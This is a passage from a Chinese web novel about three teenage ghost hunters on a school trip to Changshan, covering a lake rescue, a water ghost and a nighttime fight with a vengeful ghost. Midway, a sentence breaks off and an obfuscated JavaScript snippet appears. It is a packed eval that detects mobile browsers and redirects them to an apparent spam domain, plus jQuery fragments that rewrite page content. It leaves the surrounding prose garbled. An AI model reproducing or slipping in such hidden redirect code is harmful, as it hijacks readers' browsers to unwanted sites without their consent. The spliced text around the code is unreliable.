骆云影撩起眼皮时,晨光正巧掠过眉骨,在瞳仁里淬出两点冰碴:“吵死了。”
“我这叫活络经脉。”小鹊转头趴在窗户上,鼻尖抵着冰凉的玻璃,呵出的白雾与窗外的云岚融在一处。
秦梧的指节无意识叩着背包。后排两人的影子在车窗上交叠,一个乱糟糟翘着呆毛,一个板正得像裁纸刀切的。骆云影突然扯下半边耳机,金属光泽的耳塞坠在锁骨窝:“都是重复的,你看哪门子的风景?”
“我在看有没有山精野怪冲着我笑。”
“……你吃药了吗?”
小鹊从帆布包里摸出颗过期一天的□□糖,“昨儿过期的仙丹,敢不敢尝?”
骆云影用两根指尖拈起糖,嫌弃地推开:“你自己留着飞升吧。”
“夜里敢不敢比试?”小鹊忽然压低嗓子,睫毛在眼下投出蝶翅般的影,“看谁先逮着游魂的尾巴尖儿。”
“你有病吧。”
“我不有病我坐你旁边干什么。”她笑得很开心。
秦梧靠回椅背,无声叹了口气。
日头刚爬到樟树梢,校车便碾着碎石子路到达了目的地。
小鹊蹦下车时,仰头望那连绵山脊,金箔似的日光正顺着松针往下淌,淌到山脚便成了龙水潭粼粼的波。“这潭水养得出鲛人么?”她扯着秦梧的袖口问。
“自然是养不出的。”小少年有点无奈。
客房推开,只见四张木床并排而立,褥子浆洗得泛白。
学生们将行囊安置在自己的客房,然后就按照老师的指示排队去今天的第一个景点——龙水潭。
作为昌山最出名的景点,每年来龙水潭的游客数不胜数,但因为早期这儿还未被完全开发,便发生了不少溺水死人的事故,不过这也依然无法阻挡慕名而来的游客。 久而久之这儿就被人工划开了片专门供给游泳戏水的区域,又在岸边安排了救生员全天守候。
今日的阳光格外明媚。
秦梧换上泳裤,懒洋洋往藤椅里一瘫。眼皮刚沾上阳光织就的金纱,便觉眼前落下一片云影——骆云影披防晒衫,发尾用红绳着,活像古画里走出来的鲛人少年。
“骆云影?”
骆云影没说话,只是躺在秦梧身边的位置,却没急着闭眼,而是幽幽将目光落在了秦梧的肚腩上。不太喜欢运动的男孩子的肚皮上有小小一圈赘肉,不多,但…
秦梧忽觉肚皮一凉。骆云影的指尖已掐住他腰间软肉。少年唇角翘起个讥诮的弧度:“哈,废物。”
“你有病吧你?”
秦梧捂着肚皮弹坐起来:“你到底是对我感兴趣,还是纯粹心理变态?”话尾的颤音飞起。骆云影轻描淡写道:“别误会,我对尸体比较感兴趣。”
话茬子正要往剑拔弩张处蹦,忽听得滩头石子簌簌作响。小鹊踩着浪沫子奔来,青绿泳衣外罩的防晒巾飘成只翠鸟,发间的小团子随步子一颠一颠。她挨着躺椅往青苔上一坐:“在说悄悄话呀?”
秦梧脊梁骨倏地绷直,腹肌硬是挤出个不伦不类的轮廓:“没什么......你游泳不带泳帽吗? ”
“带着热呀。”小鹊撩了撩沾水的刘海,看着他这幅正经八百的样子,歪了歪脑袋:“你也有肚子上的肉哦?”
秦梧:“?”不对劲。
他才意识到危险,可话音未落,小鹊的指尖已戳上那团软肉。未甩干的潭水在她皮肤上凝成串琉璃珠子,凉得秦梧一哆嗦:“手感还不错耶!软软的,好玩欸!”
“你、你干嘛?!”秦梧蹿起来时险些带翻藤椅:“别随便乱碰啊喂!我这叫腹部蓄力期你知道吗?!”
“嗯?”小鹊偏头,一脸无辜,“可是你不是昨天还说,‘哼,我最近有在练核心力量’,所以我才来验收成果嘛。”
秦梧当场破防:“你居然还记得我吹牛的话!”
“你说的话我都记得哦。”小鹊笑嘻嘻地晃着腿,毫无认错的意思,“你别生气嘛,我也可以给你掐回来试试,喏,我也有。”她拍拍自己腰侧的皮肤。
“……你、你是没听过什么叫‘男女有别’吗?”秦梧哑口无言,半晌才气鼓鼓地冒出一句。
骆云影的蓝眼睛噙着讥诮,只躺倒轻飘飘地来一句:“家教甚严啊。”
“要你管!”秦梧抓起防晒巾往小鹊腰侧一裹,耳尖红得像浸了杨梅汁。潭底忽地掠过尾青鱼,搅得日影碎成万点金鳞。小鹊咬着吸管咕噜噜吹气泡,忽然将冰镇过的矿泉水贴在他后腰——
“有啊,所以我才坐地上没跟你抢躺椅呢。来,降温,别气。”
“嘶——你、你是魔鬼吧!”秦梧蹿得高。骆云影的轻笑混着浪涛声飘来:“……真惨,被你妹妹拿捏得死死的。”
“她不是我妹!”秦梧炸得更厉害了,跳脚怒吼。
“哦。那你更惨。”
潭边的卵石被日头晒得发烫,骆云影发尾的红绳浸了水汽。秦梧舌尖滚着句“有本事亮出来瞧瞧”,终究混着唾沫咽了回去。自己刚才那点冲动实在太不像话了。一个堂堂七尺男儿,居然气到想和人比身材?而且还想让人当众脱衣服?这要是传出去,得被笑到来年春天。
——绝对不是因为大抵是自取其辱。
恰此时滩头水花四溅,汤嘉维顶着满身水珠子蹦过来,活像条刚上岸的鸭子,嘴巴也是:“哟,骆云影,你怎么跟个妹子似的扎小辫子呀,还穿得这么厚实!别不是真的小女孩儿吧?”
秦梧急得直挤眼,眼皮抽筋似的眨。汤嘉维却叉腰大笑:“秦梧你脸皮让螃蟹夹了?抽抽得怪喜庆!”
秦梧差点没背过气去。他已经在心里默默为汤嘉维写好遗书了,甚至替他母亲悲痛欲绝地哭了一通。
可奇了,骆云影没生气。他只是静静地看了汤嘉维一眼。
“骆同学,我真的没有嘲笑你的意思,”注意到了对方的目光,汤嘉维用食指蹭了蹭鼻尖,语气骄傲,“我在家里偶尔举过哑铃,有点肌肉还是挺正常的。毕竟男人嘛,还是要讲点阳刚之气!”
说着,他扭了扭肩,亮出胳膊,硬是把那几块肌肉给攒得死紧,涨红着脸问:“如何啊?”
骆云影眨了眨眼。那表情一时像错愕,又一时像在憋笑,唇角的笑深了几分,恍若春风化开薄冰: “好厉害哦,汤嘉维同学。”他鼓起掌来,活像少女看见了心仪的偶像,羞涩又仰慕。
这下换汤嘉维有点飘了,背挺得笔直,连跑回去的动作都变成了小跳步,以至于全然没听见骆云影那句:“傻狗。”
秦梧的脚趾在卵石滩上抠出个浅坑。斜眼瞥见小鹊咬着麦秆吸管,腮帮一鼓一鼓,笑意顺着果汁的甜香漾到眼角。“你不觉得他那样很丢人吗?”他压低了声音。
“你也很丢人啊,”小鹊理直气壮,“但你们都挺好笑的,我喜欢看。”
秦梧:“……”
“有人溺水了!”
潭边的喧闹被一声裂帛般的呼喊撕碎。梁倩湿漉漉地爬上岸,似只落水的鹌鹑:“钟月茹越过警戒线了……我怎么拦都拦不住她……我不会游泳啊!”
偏偏这时候,救生员去上厕所了,带队的导游也不知道哪去了,剩下老师和一群孩子站在岸边,眼睁睁看着水面,只能干着急。
“我去救她!”秦梧从藤椅弹起。赤脚踩进潭水的刹那,凉意顺着脚心直窜天灵盖,倒像踏进了腊月冰窖。一过警戒线,浮标在深水区晃成串金铃铛,他一个猛子扎下去,绿莹莹的水波顿时漫过眼帘。
远远的,钟月茹在水面上挣扎,手臂胡乱挥舞。秦梧用力划水,心里直纳闷:这潭两米多深,自己脚尖都够不着底,她一个不会游泳的,是怎么跑进去的呢?
水清则浅,水绿则深,水黑则渊。他想起旧书摊淘的小册子上。“坚持住!”秦梧伸手一拉,把钟月茹从身后一把揽住。女生虚扒住他的胳膊,嘴唇发白。
岸上有人喊着“秦梧——”,像在叫英雄凯旋。少年皱了皱眉,却还是笑了笑,正要发力往回游,脚下一紧——什么东西缠住了他的脚腕。
“水草?”可那拉扯力道大得惊人。他终于明白——完了,真撞上了水鬼。水鬼怕是见钟月茹合适,先勾了她的魂,想找个替身好投胎。没想到半道杀出个秦梧,坏了它的好事,现在转头来拉他陪葬。
“救……!”他刚想喊出声,吊桥便炸开朵雪浪花。白衣少年鱼似的潜下来,发梢红绳在墨绿深潭里游成尾赤鳞锦鲤。缠脚的力道忽地散了。
两人瘫在水泥岸边时,日头正毒。钟月茹的睫毛膏晕成水墨画,秦梧的裤管滴滴答答漏着水。
“秦梧你太帅了!”
“秦哥方才比戏台上的武生还俊!”
人们忙成一团,有人递了毛巾,有人递了热水。岸边的小鹊却没动。她正蹲着,化开的雪糕顺着指缝往下淌,在卵石滩上洇出个乳白的逗号。舌尖卷走手背的甜渍,忽地皱了皱鼻尖:“咸的。不是香草。”
没人听见她在说什么。
她抬头看了潭水一眼,眼神平静得像是看着一只困在瓶子里的小虫。
柳叶打着旋儿掠过潭面。骆云影的防晒衣在水底洇成团雾,像宣纸上晕开的宿墨——他还没上来。
人们簇拥着裹毯子的秦梧往旅馆挪,小鹊却踮脚踩上警示牌底座。褪色的“水深危险”字样硌着脚心,她忽然冲着潭心喊:“捞两尾鲈鱼当晚饭!”
潭底的幽绿像隔了层毛玻璃,骆云影瞳仁里淬着的金芒忽明忽暗。水草缠着朽木桩子晃悠,恍若枯槁的指节。那抹青影倏地钻进岩缝,活似泥鳅钻豆腐,眨眼便失了踪迹.
骆云影不由蹙了蹙眉。这家伙滑得很,像条有事躲债的蛇精。他本来下水就匆忙,肺里连一口整气都没装够,这会儿觉得胸腔闷得像堵了团棉花,干脆转了身,蹬着水往上游。
一出水面,他吐了口气,第一句话是:“Fu*k。”
骆云影甩头甩得水珠四溅,湿发贴在颈后像团洇了墨的棉絮。汤嘉维的怪叫响起来:“吼吼吼!!!这是什么啊!!!”活像是猴子见了火车。
骆云影以为自己是不是踩了什么烂泥,低头看,脚干干净净。抬头一看,才发现不对劲——不是哪里脏,是……太干净了。
防晒衫早被潭水泡成蝉翼,透出底下玉雕似的肌理。肩膀是肩膀,腰是腰,肋骨、胸肌、腹肌,一道道都像是小山包,乖乖地排列着。那点水顺着他的喉结一路滑进锁骨,再流进衣襟,就像有人拿毛笔在他身上写字。
女学生们绞着衣角窃窃私语。元宝捏着浸血的纸巾,鼻尖红得像熟透的枸杞:“都、都散了!”
骆云影黑着脸,裹紧防晒衫疾走。谁都知道,他不是怕冷,是怕再被人看下去。可惜走得快,还是被汤嘉维拦了下来。
汤嘉维早就气得脸发青,嘟嘟囔囔地说了一句:“你这头和身体,两家店买的吧!!”聒噪的男孩在道中手舞足蹈,活似庙会踩高跷的傀儡。骆云影错身而过时,发梢甩出的水珠正巧落进他张大的嘴里。
人群哄笑散开,小鹊才慢悠悠小追着水渍印蹦跳。她刚刚好像一直没在意这边的热闹,甚至没张望几眼。可她忽然站到骆云影刚才甩水的位置,低头看了看,仿佛在测算轨迹,忽然咕哝了一句:“啧,你这水甩得太不讲究,都喷我脸上了。”
“你离我三米远好吗?”刚换完衣服走出来的骆云影冷着嗓子说。
“哎呀我皮肤好嘛,水珠认我。”小鹊甩了甩手里的雪糕棍,又凑上前看了看他:“欸,骆云影,你是不是偷偷练过?”
“练什么?”
“练变美啊,”她一脸新奇,“你以前都藏起来没给我们看。”
骆云影抿了抿嘴,没接话。
小鹊却凑得更近了些:“我懂了,你肯定是修炼了什么‘水遁·男德版’,一遇水就进化!”
“你再说一句我现在就把你踢下水。”
“哇,好凶!”
钟月茹是被一阵扑扇声吵醒的。
旅馆的床不大,也不算太软,躺着却有点像是春日午后摊在河坝上的黄狗,晕乎乎地不想动。她的睫毛动了几下,咽喉里“咳”地干响了两声,接着便缓缓睁开了眼。
身边有风吹来,是元宝拿着一本练习册替她扇的,梁倩则坐在床头,神色认真地用那种老年人才戴的金边眼镜盯着她的额头。
“秦梧呢?”她声音细得像是蚊子哼哼。元宝“嘿”地笑了一声,冲她努了努嘴。
窗子“笃笃”两声,是谁在敲。梁倩过去开了,竟是秦梧。他探了个脑袋进来,银发梢沾着水,在外晃成团流云。“钟月茹,你没事吧?”他挠着耳尖发问。
钟月茹盯着墙上的裂缝,喉头哽着半句“我……没事”,不敢看他——她方才梦见了水底,但梦里并没有水鬼,只有一个少年逆光站着,头发一根根都亮得发烫。
秦梧“哦”了一声,也没多说什么,只是从兜里摸出一条红绳来,手掌摊平,露出一枚温润的玉佩。他没进去,将玉佩往窗台一搁,青玉碰着搪瓷缸叮咚一声。
“你拿着。”他说,“上次你送我红绳,这算是回礼。” 虽说这本该是他自己用来防身的东西,但钟月茹今日遭了水鬼勾魂,如今阴气大盛,很难保证不会再受到影响,这玉佩现在给她倒是正好。
这话说得挺轻描淡写,可房间里气氛一下子就变了。
待那银发梢消失在月洞门,元宝已捧着玉佩笑作团:“定情信物呀!”梁倩推眼镜时,镜片闪过道精光:“秦同学方才耳尖红得能滴血呢。”这话说得有失偏颇,可却能哄人开心。钟月茹攥着流苏,芙蓉面早晕开层朱色。
可她没看到,秦梧绕到了走廊尽头,弯下腰,一只手卷起了裤脚。脚腕上的淤青泛着靛蓝,五指印痕似泼墨梅花,花蕊处凝着点阴翳。
他看了一眼,抿了抿嘴唇,最终还是没说什么:“果然还是不告诉她比较好吧。”
时间一晃就到了夜里。
晚饭过后导游带着学生们在附近逛了一圈就回旅馆休息了,而八点钟就让这群年轻气盛的家伙睡觉也实在是太艰难了。
这本该是一场平静而温馨的睡眠,可倒霉的是,汤嘉维撞鬼了。
之所以知道,要感谢生物钟健康的就像老年人一样的少年。秦梧趿着布鞋下楼时,汤嘉维正蜷在大厅的地毯上,睡相活似只翻了肚皮的青蛙。
“醒醒。”秦梧拿鞋尖轻踢他膝弯。汤嘉维咂咂嘴翻个身。秦梧叹口气,拽着他后领往楼梯口拖,在柚木地板上滋啦划出条水痕。
三个室友围作一团时,汤嘉维终于睁了眼。秦梧抱臂立在晨光里,影子斜斜切过少年涕泪横流的脸:“你不觉得这种天气只穿一条睡衣躺在大厅里睡觉,是一件很难让人理解的事吗?你要是感冒了可别想传给我啊?”
汤嘉维突然抱住他腰身,涕泗糊了他满
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835170|175640||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
襟。秦梧僵着脖子:"“请问我是说了什么过分的话吗,他怎么破防了?”他问得茫然。
不过很快的,心细的少年——脚底板的水泡红得发紫,活似冻坏的胡萝卜。以及他衣领处,肩胛处赫然印着个手印,墨色渗进肌理,骇人得很。
“你回头了啊。”他忽然如此开口,表情难得严肃。
都说人有三火,分别在头顶与双肩之上,头顶那把最为旺盛,双肩两把便是照亮全身的阳气之火。而莫回头指的便是回头会吹灭自己肩上的“无名火”,从而导致阳气亏损阴气大盛,最后邪祟缠身。
钨丝灯晕成腌透的鸭蛋黄,昌山客栈的食堂活似煮沸的八宝粥锅。
学生们七嘴八舌围着桌子坐着,有人嚷嚷着女鬼、坟头,还有人争辩影子到底能不能凭肉眼分辨真假。汤嘉维讲得唾沫星子四溅,脸上大写的‘兴奋’。
骆云影靠墙坐着,捧着手机一边吃一边玩。秦梧拎着一盘颜色惊心动魄的饭菜走过来,冲他点了下头,也不问,就坐下了。“我吃完就走啊。”他说,嘴上客气,手却已经把筷子伸进红彤彤的豆腐堆里了。
骆云影眉尖一颤,活似瞧见灶王爷往锅里撒砒霜:“你他妈有问题吧?这不给你辣死?”
盘子里像极了火葬场的预演——三块豆腐被辣椒油泡得发亮,两只鸡翅滚满了红粉,一撮笋干还裹着泡椒,唯有那包辣条——像是个义务兵,被派去撑场面的。
秦梧一脸真诚:“啊?真的很好吃啊,来这里旅游三天,我都吃了六顿辣翅了,要不是早餐没有这个卖,我指定能吃九顿。”
小鹊捧着搪瓷缸挤进来,茉莉奶绿的甜香撞散了辛辣气。她伸颈瞅那红彤彤的吃食,忽然"哎呀"一声:“习惯就好,秦梧这菜谱跟阎罗殿伙夫偷学的似的。”说着便拿筷尖戳了块豆腐,豆腐颤巍巍挂着辣油,像裹了层血肠衣:“这块白一点的,看起来不辣,我尝一下……”
一口刚咬下去,脸就皱了起来。
“……辣、辣辣辣——”她含糊着往嘴里灌奶茶,眼睛都湿了,“你是不是往里撒了辣椒粉,又泼了一壶油?”
秦梧笑得肩膀直抖:“你自己说要吃的。”
“你别笑!”小鹊气得锤他胳膊,“你这是谋财害命。”
骆云影本来还在默默吃饭,被这俩人吵得胃口全无。他盯着秦梧那盘东西,又犹豫了两秒钟,起身走了。
“他肯定是去买辣翅了。他嘴上不说,其实早馋了。”小鹊笃定。
果然,没过一会儿,那清瘦身影又飘回来,拎着的油纸包渗出赤色斑痕。小鹊鼻尖一动:“夺命椒香翅!”话音未落,骆云影咬翅时已然僵住——耳尖红得能滴血,喉结滚动如吞炭火。
小鹊赶紧递上自己的奶茶,嘴上却还不忘加一句:“你看看,辣不辣——我早说了。”
“你这奶茶有屁用,冰都融了。”骆云影忍着当场谋杀秦梧的冲动——当前的要务是解辣。
“你不喝拉倒。”她又抢回来,“反正我不能辣中带甜,我要的是纯甜。”
秦梧咬着瘪下去的奶茶吸管,塑料杯底的珍珠早被戳成了筛子。手机屏蓝光映着他突跳的眉心,像潭底窜上来的鬼火。
屏幕上跳出一行字,是观者发来的讯息——他说这周要去旅游的啊,怎么还派活?
【昌山厉鬼封印被破,两名看守观者不幸身亡,请附近所有捉鬼师赶往昌山景区,协力收服逃逸出来的恶鬼,将昌山厉鬼再次封印!】
“昌山厉鬼”四个字在视网膜上烙出青印,他抬眼的刹那,整片昌山像是被什么东西浸过,红怨之气从山顶漫下来,倒像谁打翻了孟婆的胭脂盒,把半壁青山染成了奈何桥。
吸管突然被拽走,小鹊的绒线球帽子蹭着他耳尖:“你表情这么认真,是发现自己没带作业了吗?”她鼻尖沾着奶茶沫,脑袋贴着他肩膀探过来,顺着他的视线看窗外,一点没正经,“你是不是看见了红色?我鼻子发痒了,一定有大怨。”
秦梧侧头看她,那张圆脸此刻因为辣味晕红。他本来想说“别胡闹”,可一对上她亮晶晶的眼睛,话就变成了:“你、也看到?”
“笨蛋,我的阴阳眼又不是白长的。”她咬着吸管,眯眼看他,“咱们得去一趟。”
“你别闹。”他说得严肃,“上面说是厉鬼。还死了人。”
“所以才得去呀。”小鹊眨了下眼,“你不去,我俩也不放心让你去。”
“我俩?”秦梧一愣。
“他也看见了。”她抬了抬下巴。
骆云影的影子斜斜切过餐桌,校服袖口露出的腕骨白得瘆人。他抬头,看了两人一眼:“别傻站着了,待会导游要来清人。”
果不其然,导游的声音很快从门口传来:“同学们,我们差不多要回旅馆休息啦,没吃完的抓紧时间咯!”
秦梧匆匆闭了阴阳眼,仿佛什么都没发生过,重新回到普通人里。他低头捡起桌上的背包,背上,正要跟上队伍,却被一只手轻轻搭住了肩。回头之见骆云影站在他身后,唇瓣艳得异常,倒像偷喝了酒。
“你可真幸运。”他说,“有东西要帮你挡灾了。”
三人像是默认了一样谁也没说破,悄悄混进人群回到了旅馆。两个小时后,大厅安静下来,连空气里都飘起了洗漱后的水汽味和塑料凉拖的窸窣声。
秦梧悄悄推门出去,楼下大厅空无一人。他从背包里掏出那件驱鬼服换上,一边清点符纸一边想着今晚山上会不会打架。
大厅的青砖地便沁出层凉雾。门轴忽地吱呀一响,月光顺着门缝淌进来,正巧漫过骆云影的鞋尖。而小鹊则捧着海棠糕闪进来,奶油沾在鼻尖像抹了层霜糖。“厨下还剩半笼蟹黄包,”她舔着指缝的酥皮渣,“捉鬼师也要吃宵夜的嘛。”
三人互相看了一眼,谁也没多说什么,却又像什么都说了。下一秒,他们默契地打开阴阳眼。怨气仿佛正等着,一开眼便席卷而来。猩红的光像是一张铺天盖地的布,朝他们压下来,整座大厅顿时仿佛换了背景,成了百鬼夜行的舞台。
秦梧从口袋里摸出两叠符纸,分了一半递给骆云影,另一半则顺手塞进了小鹊手中。
“这是我爸画的。”他说,“听说山上的厉鬼凶残万分,用这符纸应该能勉强应战。”
骆云影用手掌掂了掂纸张,勾了下嘴角:“你爸道行不小啊。”
小鹊把最后一口海棠糕塞进嘴里:“老秦头凶是凶了点,”她嘟囔,“画符倒还挺靠谱。”
秦梧没吭声。
他站在原地,捏了捏指间空下的符纸。骆云影那家伙,平时嘴上从不留情,嫌他符画歪了、咒念错了、连灵力都像白水豆腐,寡淡没劲。如今却稀奇地收下了他的符,还顺嘴夸了句“你爸道行不小”——看来秦观海那老东西还真的挺有本事。
“哇!你还有这个?”小鹊忽地凑了过来。
骆云影低头看她一眼,把掌心那张空间符轻轻展开。咒文黑得发亮,像墨水浸透进了黄纸背后。那符一阵颤动,突然整个变作虚空的漩涡——小鹊亮着眼,想起旧年庙会上见的糖画艺人。那金黄的糖丝也是这般凭空淌出来,凝成腾龙的形状。
骆云影可不知这女娃又想了什么。他伸手进去,缓缓地,从里头掏出了一条银光泛冷的锁链。锁环层层叠叠,哗啦啦一阵轻响。秦梧只看了一眼,就觉得那东西像是带着肉眼看不见的血痕和杀气。
不知是不是错觉,骆云影掏出那锁链的那一刻,整间大厅的怨气忽然都静了。原本四处游走的红雾像是被什么给吓着了,一个转头,逃得无影无踪。
就像是屠夫世家传了整整三代的杀猪刀,血液都渗进了刀柄里头清洗不掉,倘若拿着那把刀去坟场逛一圈,保证方圆几里地的鬼都不敢出来看你一眼。
“土狗,”见到两双亮晶晶的眼,骆云影嗤笑一声,“你知道黑无常吧?阎王殿那专收恶鬼的,这锁链就是他的东西。”随后忽然一个回手,冷不丁就把那锁链朝秦梧胸口丢过来。
“接着。”
“诶?!”少年手忙脚乱地伸出双手,却发现那条锁链重的可怕。他一个踉跄,直接把那链子砸到了地上,余音撞在雕花梁柱间久久不散。
“我来我来!” 下一秒,小鹊扑跪在青砖地上,十指扣着锁环,憋得脸通红,活像扑腾的鱼:“我不服!这链子定是灌了水银!”
“呵。”骆云影笑出了声,也不急着接,慢悠悠地弯腰捡起来,手腕一转便让它乖乖缠上了手臂,“对于我来说这武器没几个份量,但对于普通人或是灵力低下的人来说,就是千斤重。”
“喂!”小鹊不服气地站起来,“我只是……今天没吃饱!你要是让我吃饱三碗饭,说不定还能举起来半截!”
“废物。”骆云影笑着道,语气却不重,像是顺口叫一声小名。
少年踏过门槛:“那么准备就绪,出发?”
8. 昌山厉鬼
两人爬到山顶时,已是后半夜,天色浓得像是泼了一锅墨汁,只剩几颗星子躲在雾缝里眨眼。
磐石卧着秦梧口袋里掉出来,小鹊给的纸鹤,黄表纸叠的翅膀沾了露水,活似淋雨的幺蛾子。“咳...咳咳!”小少年的咳嗽惊飞了纸鹤,那纸片儿飘飘摇摇坠进紫雾。
“是有毒沼气,”骆云影用手背掩着口鼻,“附近有沼地,恐怕和厉鬼有关,你最好悠着点,别吸入太多。”
秦梧咧咧嘴:“没想到你也会关心人哪,真是日头打西边出来了。”
“我怕你死在这儿,回头还得我背尸下山。”少年语气冷淡,顺便抖了抖衣角,似乎嫌他脏。
“你清高你了不起。”秦梧蹭地坐起,拍拍膝盖。脸上的汗被风一吹,立马就变成了黏糊糊的盐巴。
“你们两个一前一后像唱双簧。”后头忽然冒出个声音,小鹊不知什么时候蹭了上来,头发扎着歪歪的小揪揪, “一边打嘴仗,一边喘得跟狗似的,我还以为你俩在比赛谁先猝死。”
“你怎么又跟上来了?!”秦梧差点蹦起来,“这里可是重怨封印区域!”
“我就跟!”小鹊一屁股坐在旁边石头上,拍拍书包,咔哒一声从里头摸出三张写了咒文的糯米饼,眼睛一眨一眨地,“我带了护身粮,五谷杂粮驱邪气,民俗文保单位认证的。”
三人拨开雾障时,满山巨石如倒插的獠牙。符箓在石缝间连成暗红色脉络,恍若谁把整座山缝成了百衲衣。
“是大型封印阵,一块封印石是封不住那种东西的。” 骆云影像背词一样地说。
“你们这些捉鬼师,讲话都这么吓人吗?”小鹊用指头轻轻弹了弹石头上的符纸,“听得我鸡皮疙瘩都起来了。”
“你不是不怕鬼?”秦梧白她一眼。
“我是不怕鬼,但我怕你俩做事不带我。”她说得一本正经,仿佛这是比厉鬼更严重的事。
秦梧刚想再说些什么,手上的腕表忽然亮起,一个代表“观者”的小图标在附近闪个不停。他皱眉,忽觉不太对劲。可下一秒,那块腕表就被骆云影一把抢了过去。
“拿来。有了这玩意儿就可以直接找到厉鬼的方位了吧?”
“你怎么每次都擅自拿我东西?”秦梧又气又无语。
“你太慢了。”骆云影淡淡地说,“拖后腿。”
“我见过自恋的,没见过自恋又暴力的。”小鹊小声嘀咕了一句,“我猜他小时候一定抢同学的橡皮。”
秦梧偷笑。
三人往里走。
雾越浓,血腥味也重了。空气像是浸过猪肝汤,腥得让人反胃。草丛里啪嗒啪嗒的声响,有点像狗吃骨头,有点像人在嚼蹄筋。
“你们听见了吗……”秦梧声音发干。
“听见了。”骆云影把腕表随手扔回秦梧怀里,“果然不能信这玩意儿。”
“这又不是定位厉鬼的,它只是……”
“你不早说!”骆云影怒吼。
“你抢的好不好??”秦梧反驳。
小鹊这时悠悠地说了一句,“你俩要不要考虑先打一架,我直播给论坛看?”
两人齐齐瞪她一眼。但下一刻,他们都静了下来。
血溪尽头,独臂厉鬼正啃食半截残肢。秦梧下意识后退,却被小鹊把拉住,轻声说:“别怕,我们打得过。”
“谁说我怕了?”秦梧强撑着镇定。
“你脸都白得能拿去照明了。”小鹊认真道。
锁链破空时带起罡风,惊得满山鸦雀扑棱棱乱飞。厉鬼獠牙距秦梧喉头半寸处,银链已缠上它脖颈。骆云影靴底碾过血泊,溅起的血珠子正巧落在小鹊鼻尖:“好俊的梅花妆。”她笑嘻嘻抹了把脸,指尖朱砂混着血渍,在眉心点出个浑圆红印:“我怎么觉得它被踹得比上次我堂哥打我还远。”
“你哥也打你?”秦梧一脸惊悚。
“那当然。”小鹊理所当然地点头,“但我会咬他。”
“…你哥肯定很惨。”秦梧感觉心底堵堵的,最终憋出来一句——不对,自己在说些什么?
“所以现在他都不敢惹我。”她倒是自然,“厉鬼也别想。”
厉鬼爆筋欲挣的刹那,少年足尖轻点。随着锁链绞紧的脆响,那厉鬼便似被抽了骨的风筝,软塌塌跌进血洼里。
秦梧瘫坐在草丛里,掌心符纸早被冷汗浸透。小鹊蹲在他身侧,正用草茎编蛐蛐笼:“你瞧那么多肌肉跟摆设似的,一扯就断似的。”话音未落,骆云影振腕收链,厉鬼霎时碎成万千片。
小鹊忽然“啊呀”一声。她脖子间的玉坠不知何时缠上了锁链末梢,随骆云影收势被拽得踉跄扑去。“废物当心!”
两人撞在一起。秦梧还没来得及反应,小鹊已挣开怀抱,蹦跳着踩碎满地血肉:“开胃菜都这般,主宴怕是要摆十八碗哩!”
林间的树影如泼墨般层层叠染,秦梧踩着腐叶前行。小鹊缀在后头编草环,忽地"咦"了一声,草茎间缠着缕猩红丝线,细看竟是半截浸血的符纸穗子。
“你听见了吗?”骆云影轻声问。
“听见了。”秦梧点点头。
“你们两个,走慢点啦!”两人回头一看,小鹊提着她那一小串铜铃似的符纸,满脸不情愿地走过来 “我跟你们讲,我刚刚看见有东西趴在树上,真的,不是我吓唬你们。”
“你闭嘴。”骆云影凶她。
“唔。”小鹊被吓了一跳,老实了半秒,下一句又来了,“可我真看见了!还有一张脸,眼睛圆溜溜的,像你们班主任上课时候盯人。”
“那不是你自己的影子?”秦梧问,语气和她一样孩子气。正说着,腕上的探测器忽地发出“滴滴”的响声。他低头一看,蓝绿的光点又多出一个,正慢悠悠地朝他们移动。
“又一个看守观者?”信息里明明说两个都死了,这个又是谁?还是说,有观者愿意亲自下场?
骆云影腕间的锁链无风自动,环扣相击声惊飞了栖在古槐上的夜枭。雾中蹒跚的身影渐显轮廓,每一步都像是用线拉出来的木偶。
“他不对劲。”小鹊悄声说。
“血腥味很重。”骆云影低声补了一句,他鼻尖微动,像一只在嗅风的狼。
那身影近了,果然穿着观者的制服,可衣服鼓起,仿佛长出了里头的骨头。等他举起手示意他们跟上,转过身时,才看见那后背的制服已经撕开,衣襟下凸起的血管如老树盘根;里面的肋骨白得吓人,像大雪天里翻出的咸鱼骨头。
“呃……这家伙是丧尸吗?”秦梧倒吸一口凉气,转头看骆云影时,人家早已经走远了,连带着小鹊也一蹦一跳地跟了上去。喂——你们怎么这么快就信了个死人的话!再说,谁知道他是不是带我们去投胎的路上?”
越往前,雾越浓。观者的身子忽然在一块铺满青苔的大石上瘫倒,像一个被扔掉的破娃娃。小鹊蹲下身,指尖戳了戳观者裸露的肋骨。白骨上黏着的腐肉簌簌掉落,惊起群萤火虫。骆云影鞋尖碾碎只萤虫,蓝绿色的浆液溅在封印石上:“这里的怨气要比刚才更加强烈。”
大地忽地痉挛般震颤,古槐的枯枝簌簌砸落。地面拱起几个小包,接着“哗啦”一声,枯叶飞起,一根粗大的树枝如活物般从地里钻出,朝他们猛扑。
“当心!”小鹊的惊呼混着锁链破空声,秦梧只觉脚踝一凉,老藤似的树根已将他倒吊而起。
“嗷哇啊!!”秦梧尖叫。小鹊笑得前仰后合,“哎呀,你看看你!头朝下挂着像个吊兰!”
“救我!”秦梧在空中手舞足蹈,衣兜里的符纸落了一地,“快点啊骆云影!你还笑!你到底帮谁的!”
“别他妈乱动了,不然等下连你一起劈了。”
小鹊仍笑嘻嘻仰着头编蚂蚱,草茎间缠了张飘落的爆破符:“呀!老秦头的保命符当彩头哩!”
骆云影腕间的锁链在月光下泛着腌菜坛子的釉色。他正调整角度试图把秦梧削下来,不料这时,山体忽地痉挛般震颤,腐叶堆里窜出条花蛇,连树上的鸟都扑腾着飞走了,夜空里一阵簌簌响。秦梧脚上的树枝忽然一甩,把他高高抛起,朝着地上忽然张开的黑洞扔去。
“吃……吃掉……”声音从耳朵里响起,低低的,仿佛人梦中呓语。
“我还没看完剧啊!我刚续了一年的菠菜会员!!”秦梧蹬腿如扑棱的蛾子,。
““别乱动啊,你这二货!”骆云影爆了句粗:”“你他妈像条泥鳅似的,我怎么救你啊?”
